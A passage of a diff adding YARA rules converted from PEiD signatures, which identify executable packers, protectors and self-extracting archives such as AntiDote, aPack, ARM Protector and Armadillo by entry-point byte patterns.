+        $a = {68 69 D6 00 00 E8 C6 FD FF FF 68 69 D6 00 00 E8 BC FD FF FF 83 C4 08 E8 A4 FF FF FF 84 C0 74 2F 68 04 01 00 00 68 B0 21 60 00 6A 00 FF 15 08 10 60 00 E8 29 FF FF FF 50 68 88 10 60 00 68 78 10 60 00 68 B0 21 60 00 E8 A4 FD FF FF 83 C4 10 33 C0 C2 10 00 90 90 90 90 90 90 90 90 90 90 90 90 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3 90 8B 44 24 04 53 55 56 8B 48 3C 57 03 C8 33 D2 8B 79 54 8B 71 38 8B C7 F7 F6 85 D2 74 0C 8B C7 33 D2 F7 F6 8B F8 47 0F AF FE 33 C0 33 DB 66 8B 41 14 8D 54 08 18 33 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00084_AntiDote_1_2_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {E8 F7 FE FF FF 05 CB 22 00 00 FF E0 E8 EB FE FF FF 05 BB 19 00 00 FF E0 E8 BD 00 00 00 08 B2 62 00 01 52 17 0C 0F 2C 2B 20 7F 52 79 01 30 07 17 29 4F 01 3C 30 2B 5A 3D C7 26 11 26 06 59 0E 78 2E 10 14 0B 13 1A 1A 3F 64 1D 71 33 57 21 09 24 8B 1B 09 37 08 61 0F 1D 1D 2A 01 87 35 4C 07 39 0B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00085_AntiDote_1_2_DLL_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2.DLL.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00086_AntiDote_1_2_DLL_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2.DLL.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0 08 8A 06 46 83 F0 FF 74 74 89 C5 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 75 20 41 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C9 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 83 C1 02 81 FD 00 F3 FF FF 83 D1 01 8D 14 2F 83 FD FC 76 0F 8A 02 42 88 07 47 49 75 F7 E9 63 FF FF FF 90 8B 02 83 C2 04 89 07 83 C7 04 83 E9 04 77 F1 01 CF E9 4C FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00087_AntiDote_1_2_1_4_SE_DLL____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.2/1.4 SE DLL -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 08 32 90 90 90 90 90 90 90 90 90 90 80 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 0B 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE FC 11 DB}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00088_AntiDote_1_4_SE____SIS_Team_
+{
+    meta:
+        description = "[AntiDote 1.4 SE -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {68 90 03 00 00 E8 C6 FD FF FF 68 90 03 00 00 E8 BC FD FF FF 68 90 03 00 00 E8 B2 FD FF FF 50 E8 AC FD FF FF 50 E8 A6 FD FF FF 68 69 D6 00 00 E8 9C FD FF FF 50 E8 96 FD FF FF 50 E8 90 FD FF FF 83 C4 20 E8 78 FF FF FF 84 C0 74 4F 68 04 01 00 00 68 10 22 60 00 6A 00 FF 15 08 10 60 00 68 90 03 00 00 E8 68 FD FF FF 68 69 D6 00 00 E8 5E FD FF FF 50 E8 58 FD FF FF 50 E8 52 FD FF FF E8 DD FE FF FF 50 68 A4 10 60 00 68 94 10 60 00 68 10 22 60 00 E8 58 FD FF FF 83 C4 20 33 C0 C2 10 00 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00089_AntiDote_V1_2____SIS_Team___Sign_by_fly_
+{
+    meta:
+        description = "[AntiDote V1.2 -> SIS-Team ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 26 00 43 68 61 72 4C 6F 77 65 72 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 5E 02 66 72 65 65 00 00 4C 02 66 63 6C 6F 73 65 00 00 DA 00 5F 66 69 6C 62 75 66 00 91 02 6D 61 6C 6C 6F 63 00 00 64 02 66 74 65 6C 6C 00 62 02 66 73 65 65 6B 00 57 02 66 6F 70 65 6E 00 C5 02 73 74 72 73 74 72 00 00 4D 53 56 43 52 54 2E 64 6C 6C 00 00}
+    condition:
+        $a
+}
+rule PEiD_00090_AntiDote_V1_2_Demo____SIS_Team_
+{
+    meta:
+        description = "[AntiDote V1.2.Demo -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {E8 F7 FE FF FF 05 CB 22 00 00 FF E0 E8 EB FE FF FF 05 BB 19 00 00 FF E0 E8 BD 00 00 00 08 B2 62 00 01 52 17 0C 0F 2C 2B 20 7F 52 79 01 30 07 17 29 4F 01 3C 30 2B 5A 3D C7 26 11 26 06 59 0E 78 2E 10 14 0B 13 1A 1A 3F 64 1D 71 33 57 21 09 24 8B 1B 09 37 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00091_AntiDote_v1_4_osCE__Sing_by_osC__CoDeR_
+{
+    meta:
+        description = "[AntiDote v1.4 osCE *Sing by osC++CoDeR]"
+        ep_only = "true"
+    strings:
+        $a = {68 95 01 00 00 E8 D0 FD FF FF 68 95 01 00 00 E8 C3 FD FF FF 68 90 03 00 00 E8 BC FD FF FF 68 90 03 00 00 E8 B2 FD FF FF 50 E8 AC FD FF FF 50 E8 A6 FD FF FF 68 69 D6 00 00 E8 9C FD FF FF 50 E8 96 FD FF FF 50 E8 90 FD FF FF 83 C4 20 E8 78 FF FF FF 84 C0 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00092_AntiDote_V1_x____SIS_Team_
+{
+    meta:
+        description = "[AntiDote V1.x -> SIS-Team]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? 00 00 E8 ?? FD FF FF 68 ?? ?? 00 00 E8 ?? FD FF FF 68 90 03 00 00 E8 ?? FD FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? FD FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00093_AntiVirus_Vaccine_v_1_03_
+{
+    meta:
+        description = "[AntiVirus Vaccine v.1.03]"
+        ep_only = "true"
+    strings:
+        $a = {FA 33 DB B9 ?? ?? 0E 1F 33 F6 FC AD 35 ?? ?? 03 D8 E2}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00094_aPack_v0_62_
+{
+    meta:
+        description = "[aPack v0.62]"
+        ep_only = "true"
+    strings:
+        $a = {1E 06 8C C8 8E D8 ?? ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B6}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00095_aPack_v0_82_
+{
+    meta:
+        description = "[aPack v0.82]"
+        ep_only = "true"
+    strings:
+        $a = {1E 06 8C CB BA ?? ?? 03 DA 8D ?? ?? ?? FC 33 F6 33 FF 48 4B 8E C0 8E DB}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00096_aPack_v0_98__m_
+{
+    meta:
+        description = "[aPack v0.98 -m]"
+        ep_only = "false"
+    strings:
+        $a = {1E 06 8C C8 8E D8 05 ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B2 ?? BD ?? ?? 33 C9 50 A4 BB ?? ?? 3B F3 76}
+    condition:
+        $a
+}
+
+rule PEiD_00097_aPack_v0_98b__com__
+{
+    meta:
+        description = "[aPack v0.98b (com)]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? ?? BF ?? ?? 8B CF FC 57 F3 A4 C3 BF ?? ?? 57 57 BE ?? ?? B2 ?? BD ?? ?? 50 A4}
+    condition:
+        $a
+}
+
+rule PEiD_00098_aPack_v0_98b__DS___ES_not_saved__
+{
+    meta:
+        description = "[aPack v0.98b (DS & ES not saved)]"
+        ep_only = "false"
+    strings:
+        $a = {8C CB BA ?? ?? 03 DA FC 33 F6 33 FF 4B 8E DB 8D ?? ?? ?? 8E C0 B9 ?? ?? F3 A5 4A 75}
+    condition:
+        $a
+}
+
+rule PEiD_00099_aPack_v0_98b__exe__
+{
+    meta:
+        description = "[aPack v0.98b (exe)]"
+        ep_only = "false"
+    strings:
+        $a = {93 07 1F 05 ?? ?? 8E D0 BC ?? ?? EA}
+    condition:
+        $a
+}
+
+rule PEiD_00100_APatch_GUI_v1_1_
+{
+    meta:
+        description = "[APatch GUI v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {52 31 C0 E8 FF FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00101_Apex_3_0_alpha____500mhz_
+{
+    meta:
+        description = "[Apex 3.0 alpha -> 500mhz]"
+        ep_only = "false"
+    strings:
+        $a = {5F B9 14 00 00 00 51 BE 00 10 40 00 B9 00 ?? ?? 00 8A 07 30 06 46 E2 FB 47 59 E2 EA 68 ?? ?? ?? 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00102_APEX_C__BLT_Apex_4_0_____500mhz_
+{
+    meta:
+        description = "[APEX_C (BLT Apex 4.0) -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00103_Apex_c_beta____500mhz_
+{
+    meta:
+        description = "[Apex_c beta -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00104_Apex_c_beta____500mhz_
+{
+    meta:
+        description = "[Apex_c beta -> 500mhz]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00105_App_Encryptor____Silent_Team_
+{
+    meta:
+        description = "[App Encryptor -> Silent Team]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 1F 1F 40 00 B9 7B 09 00 00 8D BD 67 1F 40 00 8B F7 AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00106_App_Protector____Silent_Team_
+{
+    meta:
+        description = "[App Protector -> Silent Team]"
+        ep_only = "true"
+    strings:
+        $a = {E9 97 00 00 00 0D 0A 53 69 6C 65 6E 74 20 54 65 61 6D 20 41 70 70 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 72 65 61 74 65 64 20 62 79 20 53 69 6C 65 6E 74 20 53 6F 66 74 77 61 72 65 0D 0A 54 68 65 6E 6B 7A 20 74 6F 20 44 6F 63 68 74 6F 72 20 58 0D 0A 0D 0A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00107_App_Protector____Silent_Team_
+{
+    meta:
+        description = "[App Protector -> Silent Team]"
+        ep_only = "true"
+    strings:
+        $a = {E9 97 00 00 00 0D 0A 53 69 6C 65 6E 74 20 54 65 61 6D 20 41 70 70 20 50 72 6F 74 65 63 74 6F 72 0D 0A 43 72 65 61 74 65 64 20 62 79 20 53 69 6C 65 6E 74 20 53 6F 66 74 77 61 72 65 0D 0A 54 68 65 6E 6B 7A 20 74 6F 20 44 6F 63 68 74 6F 72 20 58 0D 0A 0D 0A 54 68 69 73 20 69 73 20 53 50 61 6B 65 64 20 41 70 70 6C 69 63 61 74 69 6F 6E 0D 0A 53 50 41 4B 20 63 6F 6D 70 72 69 6D 61 74 69 6F 6E 20 73 79 73 74 65 6D 20 69 73 20 AE 53 69 6C 65 6E 74 20 54 65 61 6D 99 0D 0A 60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED 76 22 40 00 E8 04 02 00 00 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 E8 01 00 00 00 9A 59 8D 95 C8 22 40 00 E8 01 00 00 00 69 58 66 BF 4D 4A E8 BF 01 00 00 8D 52 F9 E8 01 00 00 00 E8 5B 68 CC FF E2 9A FF E4 69 FF A5 E4 24 40 00 E9 E8 B9 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00108_ARC_SFX_Archive_
+{
+    meta:
+        description = "[ARC-SFX Archive]"
+        ep_only = "true"
+    strings:
+        $a = {8C C8 8C DB 8E D8 8E C0 89 ?? ?? ?? 2B C3 A3 ?? ?? 89 ?? ?? ?? BE ?? ?? B9 ?? ?? BF ?? ?? BA ?? ?? FC AC 32 C2 8A D8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00109_ARJ_SFX_Custom_
+{
+    meta:
+        description = "[ARJ SFX Custom]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 15 F0 40 00 8D BE EB 1F FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00110_ARJ_SFX_Custom_
+{
+    meta:
+        description = "[ARJ SFX Custom]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 18 C0 40 00 68 C4 A1 40 00 50 64 89 25 00 00 00 00 83 EC 60 53 56 57 89 65 E8 FF 15 38 03 41 00 A3 D0 D6 40 00 33 C0 A0 D1 D6 40 00 A3 DC D6 40 00 A1 D0 D6}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00111_ARJ_SFX_Custom_
+{
+    meta:
+        description = "[ARJ SFX Custom]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? 66 9C 60 50 8D 90 5C 01 00 00 68 00 00 40 00 83 3A 00 0F 84 C6 C1 FF FF 8B 04 24 8B 0A 0F BA F1 1F 73 13 FD 8B F0 8B F8 03 72 04 03 7A 08 F3 A5 83 C2 0C FC EB D9 83 C2 10 8B 5A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00112_ARM_Protector_0_1_by_SMoKE_
+{
+    meta:
+        description = "[ARM Protector 0.1 by SMoKE]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0}
+    condition:
+        $a
+}
+
+rule PEiD_00113_ARM_Protector_0_2___SMoKE_
+{
+    meta:
+        description = "[ARM Protector 0.2-> SMoKE]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 09 20 40 00 EB 02 83 09 8D B5 9A 20 40 00 EB 02 83 09 BA 0B 12 00 00 EB 01 00 8D 8D A5 32 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00114_ARM_Protector_0_3___by_SMoKE_
+{
+    meta:
+        description = "[ARM Protector 0.3 - by SMoKE]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 13 24 40 00 EB 02 83 09 8D B5 A4 24 40 00 EB 02 83 09 BA 4B 15 00 00 EB 01 00 8D 8D EF 39 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4}
+    condition:
+        $a
+}
+
+rule PEiD_00115_ARM_Protector_v0_1_by_SMoKE_
+{
+    meta:
+        description = "[ARM Protector v0.1 by SMoKE]"
+        ep_only = "false"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0 07 50 C3 00 EB 04 58 40 50 C3 8A 06 46 EB 01 00 D0 C8 E8 14 00 00 00 83 EB 01 00 2A C2 E8 00 00 00 00 5B 83 C3 07 53 C3 00 EB 04 5B 43 53 C3 EB 01 00 32 C2 E8 0B 00 00 00 00 32 C1 EB 01 00 C0 C0 02 EB 09 2A C2 5B EB 01 00 43 53 C3 88 07 EB 01 00 47 4A 75 B4}
+    condition:
+        $a
+}
+
+rule PEiD_00116_Armadillo_3_00a____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.00a -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00117_Armadillo_3_00a____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.00a -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD 26 42}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00118_Armadillo_3_01__3_05_
+{
+    meta:
+        description = "[Armadillo 3.01, 3.05]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F}
+    condition:
+        $a
+}
+
+rule PEiD_00119_Armadillo_3_10_
+{
+    meta:
+        description = "[Armadillo 3.10]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1}
+    condition:
+        $a
+}
+
+rule PEiD_00120_Armadillo_3_6x____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.6x -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD AB 76}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00121_Armadillo_3_7x____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.7x -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 B8 3B 01 00 00 03 C5 33 DB 81 C3 01 01 01 01 31 18 81 38 78 54 00 00 74 04 31 18 EB EC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00122_Armadillo_3_X_5_X____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.X-5.X -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 9D 0F C9 8B CA F7 D1 59 58 50 51 0F CA F7 D2 9C F7 D2 0F CA EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00123_Armadillo_3_X_5_X____Silicon_Realms_Toolworks_
+{
+    meta:
+        description = "[Armadillo 3.X-5.X -> Silicon Realms Toolworks]"
+        ep_only = "true"
+    strings:
